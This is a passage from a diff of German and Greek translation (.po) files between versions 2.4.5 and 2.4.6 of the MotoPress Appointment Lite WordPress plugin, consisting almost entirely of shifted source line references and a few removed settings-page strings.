assets\u002Fjs\u002Fgutenberg-blocks.js:8042\n-#: assets\u002Fjs\u002Fpublic.js:7603\n+#: assets\u002Fjs\u002Fdivi-modules.js:7604\n+#: assets\u002Fjs\u002Felementor-widgets.js:7604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8043\n+#: assets\u002Fjs\u002Fpublic.js:7604\n msgid \"Select iDEAL Bank\"\n msgstr \"iDEAL Bank aussuchen\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7618\n-#: assets\u002Fjs\u002Felementor-widgets.js:7618\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8057\n-#: assets\u002Fjs\u002Fpublic.js:7618\n+#: assets\u002Fjs\u002Fdivi-modules.js:7619\n+#: assets\u002Fjs\u002Felementor-widgets.js:7619\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8058\n+#: assets\u002Fjs\u002Fpublic.js:7619\n msgid \"IBAN\"\n msgstr \"IBAN\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7882\n-#: assets\u002Fjs\u002Felementor-widgets.js:7882\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8321\n-#: assets\u002Fjs\u002Fpublic.js:7882\n+#: assets\u002Fjs\u002Fdivi-modules.js:7883\n+#: assets\u002Fjs\u002Felementor-widgets.js:7883\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8322\n+#: assets\u002Fjs\u002Fpublic.js:7883\n msgid \"Payment methods\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8094\n-#: assets\u002Fjs\u002Felementor-widgets.js:8094\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8533\n-#: assets\u002Fjs\u002Fpublic.js:8094\n+#: assets\u002Fjs\u002Fdivi-modules.js:8095\n+#: assets\u002Fjs\u002Felementor-widgets.js:8095\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8534\n+#: assets\u002Fjs\u002Fpublic.js:8095\n msgid \"Card\"\n msgstr \"Karte\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10130\n-#: assets\u002Fjs\u002Fedit-post.js:7677\n-#: assets\u002Fjs\u002Felementor-widgets.js:10130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:10569\n-#: assets\u002Fjs\u002Fpublic.js:10130\n+#: assets\u002Fjs\u002Fdivi-modules.js:10131\n+#: assets\u002Fjs\u002Fedit-post.js:7678\n+#: assets\u002Fjs\u002Felementor-widgets.js:10131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:10570\n+#: assets\u002Fjs\u002Fpublic.js:10131\n msgid \"Sorry, but we were unable to allocate time slots for the date you selected.\"\n msgstr \"Es tut uns leid, aber wir konnten keine Termine für das ausgewählte Datum reservieren.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10777\n-#: assets\u002Fjs\u002Felementor-widgets.js:10777\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11216\n-#: assets\u002Fjs\u002Fpublic.js:10777\n+#: assets\u002Fjs\u002Fdivi-modules.js:10778\n+#: assets\u002Fjs\u002Felementor-widgets.js:10778\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11217\n+#: assets\u002Fjs\u002Fpublic.js:10778\n msgid \"Sorry, there are no services, employees or locations to book.\"\n msgstr \"Es tut uns leid, es gibt da keine Dienstleistungen, Mitarbeiter oder Standorte, die gebucht werden können.\"\n \n #. Translators: %s: Checkbox label.\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3220\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n #, js-format\n msgid \"To enable this option, you need to check the '%s' box.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fedit-post.js:9006\n+#: assets\u002Fjs\u002Fedit-post.js:9007\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3238\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2977\n msgid \"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\"\n@@ -6400,19 +6390,19 @@\n msgid \"Colors\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11400\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11710\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11981\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12284\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12638\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12761\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13007\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13253\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13499\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13622\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11401\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11711\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11982\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12285\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12639\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12762\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13008\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13254\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13377\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13623\n msgid \"appointment\"\n msgstr \"Termin\"\n \nBinary files \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-el.mo and \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-el.mo differ\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-el.po \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-el.po\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-el.po\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-el.po\t2026-06-30 15:16:08.000000000 +0000\n@@ -176,16 +176,6 @@\n msgid \"Help\"\n msgstr \"Βοήθεια\"\n \n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:199\n-msgid \"Settings saved.\"\n-msgstr \"Οι ρυθμίσεις αποθηκεύτηκαν.\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:265\n-msgid \"Save Changes\"\n-msgstr \"Αποθήκευση Αλλαγών\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:400\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:409\n #: includes\u002Felementor\u002Fwidgets\u002FAppointmentFormWidget.php:71\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:35\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:35\n@@ -202,18 +192,18 @@\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:26\n #: templates\u002Fprivate\u002Fpages\u002Fwizard.php:12\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3245\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11506\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11801\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12087\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12405\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12686\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12809\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12932\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13055\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13178\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13301\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13424\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11507\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11802\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12088\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12406\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12687\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12810\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12933\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13056\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13179\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13302\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13425\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13548\n msgid \"Settings\"\n msgstr \"Ρυθμίσεις\"\n \n@@ -237,27 +227,27 @@\n msgid \"Filtered bookings for customer\"\n msgstr \"Φιλτραρισμένες κρατήσεις για τον πελάτη\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:486\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:494\n msgid \"All Services\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:511\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:519\n msgid \"All Employees\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:536\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:544\n msgid \"All Locations\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:573\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:581\n msgid \"Export\"\n msgstr \"Εξαγωγή\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:574\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:582\n msgid \"Cancel Export\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:589\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:597\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:71\n #: includes\u002Fcrons\u002FExportBookingsCron.php:347\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:27\n@@ -276,18 +266,18 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:43\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:44\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12689\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12935\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13058\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13181\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13304\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13427\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n msgid \"ID\"\n msgstr \"Αναγνωριστικό ID\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageEmployeesPage.php:149\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:113\n@@ -297,11 +287,11 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:117\n #: assets\u002Fjs\u002Fanalytics-page.js:33399\n #: assets\u002Fjs\u002Fcalendar-page.js:45376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12464\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n msgid \"Services\"\n msgstr \"Υπηρεσίες\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fcrons\u002FExportBookingsCron.php:354\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:64\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:126\n@@ -321,14 +311,14 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:33\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-service-form.php:102\n #: assets\u002Fjs\u002Fcalendar-page.js:38165\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3256\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3303\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n msgid \"Service\"\n msgstr \"Υπηρεσία\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:591\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:599\n #: includes\u002Fcrons\u002FExportBookingsCron.php:357\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:37\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:99\n@@ -337,13 +327,13 @@\n msgid \"Date\"\n msgstr \"Ημερομηνία\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:592\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:600\n #: includes\u002Fcrons\u002FExportBookingsCron.php:358\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:38\n msgid \"Time\"\n msgstr \"Ώρα\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:87\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:103\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:104\n@@ -356,12 +346,12 @@\n #: includes\u002Fpost-types\u002FEmployeePostType.php:52\n #: assets\u002Fjs\u002Fanalytics-page.js:33437\n #: assets\u002Fjs\u002Fcalendar-page.js:45414\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12473\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n msgid \"Employees\"\n msgstr \"Υπάλληλοι\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:210\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageSchedulesPage.php:134\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:140\n@@ -391,7 +381,7 @@\n msgid \"Employee\"\n msgstr \"Υπάλληλος\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:594\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:602\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageServicesPage.php:23\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:159\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:193\n@@ -403,11 +393,11 @@\n #: templates\u002Fservice\u002Fprice.php:19\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:36\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:64\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12559\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12560\n msgid \"Price\"\n msgstr \"Τιμή\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:595\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:603\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:156\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:72\n #: includes\u002Ffields\u002Fcomplex\u002FLicenseSettingsField.php:79\n@@ -417,7 +407,7 @@\n msgid \"Status\"\n msgstr \"Κατάσταση\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:596\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:604\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:214\n #: includes\u002Flist-tables\u002Femails\u002FCustomerEmailsListTable.php:32\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:86\n@@ -427,7 +417,7 @@\n msgstr \"Πελάτης\"\n \n #. Translators: %s: Paid amount.\n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:695\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:703\n #, php-format\n msgid \"Paid: %s\"\n msgstr \"Πληρώθηκε: %s\"\n@@ -473,10 +463,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:202\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:67\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:62\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11634\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11905\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12214\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12562\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11635\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11906\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12215\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12563\n msgid \"Order\"\n msgstr \"\"\n \n@@ -845,7 +835,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:68\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:94\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:191\n-#: assets\u002Fjs\u002Fedit-post.js:9055\n+#: assets\u002Fjs\u002Fedit-post.js:9056\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3333\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:3069\n msgid \"— Select —\"\n@@ -1232,7 +1222,7 @@\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:139\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11359\n msgid \"Appointment Form\"\n msgstr \"Φόρμα Ραντεβού\"\n \n@@ -1480,7 +1470,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:76\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:100\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:198\n-#: assets\u002Fjs\u002Fedit-post.js:9057\n+#: assets\u002Fjs\u002Fedit-post.js:9058\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3202\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3204\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3205\n@@ -1494,7 +1484,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:146\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:79\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:91\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12493\n msgid \"Comma-separated slugs or IDs of tags that will be shown.\"\n msgstr \"Slugs ή ID χωρισμένα με κόμμα που θα εμφανιστούν.\"\n \n@@ -1571,7 +1561,7 @@\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeAdditionalInfoShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13605\n msgid \"Employee Additional Information\"\n msgstr \"Πρόσθετες Πληροφορίες Εργαζομένων\"\n \n@@ -1592,49 +1582,49 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:47\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FAbstractSingleEmployeeShortcode.php:25\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12691\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12814\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12937\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13060\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13183\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13306\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13429\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13552\n msgid \"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\"\n msgstr \"Αναρτήστε το ID ενός υπαλλήλου για προβολή περιεχομένου. Σημείωση: αυτή η παράμετρος χρησιμοποιεί αυτόματα το τρέχον αναγνωριστικό δημοσίευσης όταν ένα shortcode βρίσκεται μέσα στη θέση του εργαζομένου και απαιτείται διαφορετικά.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContactsModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContactsShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13359\n msgid \"Employee Contact Information\"\n msgstr \"Στοιχεία Επικοινωνίας Εργαζομένου\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContentModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContentWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContentShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13235\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13236\n msgid \"Employee Content\"\n msgstr \"Περιεχόμενο Υπαλλήλων\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeImageModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeImageWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeImageShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12743\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12744\n msgid \"Employee Image\"\n msgstr \"Εικόνα Υπάλληλου\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeScheduleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeScheduleWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeScheduleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13112\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13113\n msgid \"Employee Schedule\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeServicesListModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12989\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12990\n msgid \"Employee Services List\"\n msgstr \"\"\n \n@@ -1642,7 +1632,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11692\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11693\n msgid \"Employees List\"\n msgstr \"\"\n \n@@ -1658,10 +1648,10 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:41\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:43\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11509\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11804\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12090\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12408\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11805\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12091\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12409\n msgid \"Show featured image.\"\n msgstr \"\"\n \n@@ -1674,9 +1664,9 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:46\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:46\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11517\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12416\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11518\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12417\n msgid \"Show post title.\"\n msgstr \"\"\n \n@@ -1689,30 +1679,30 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:51\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:51\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:51\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11525\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11820\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12424\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11821\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12425\n msgid \"Show post excerpt.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:74\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11533\n+#: 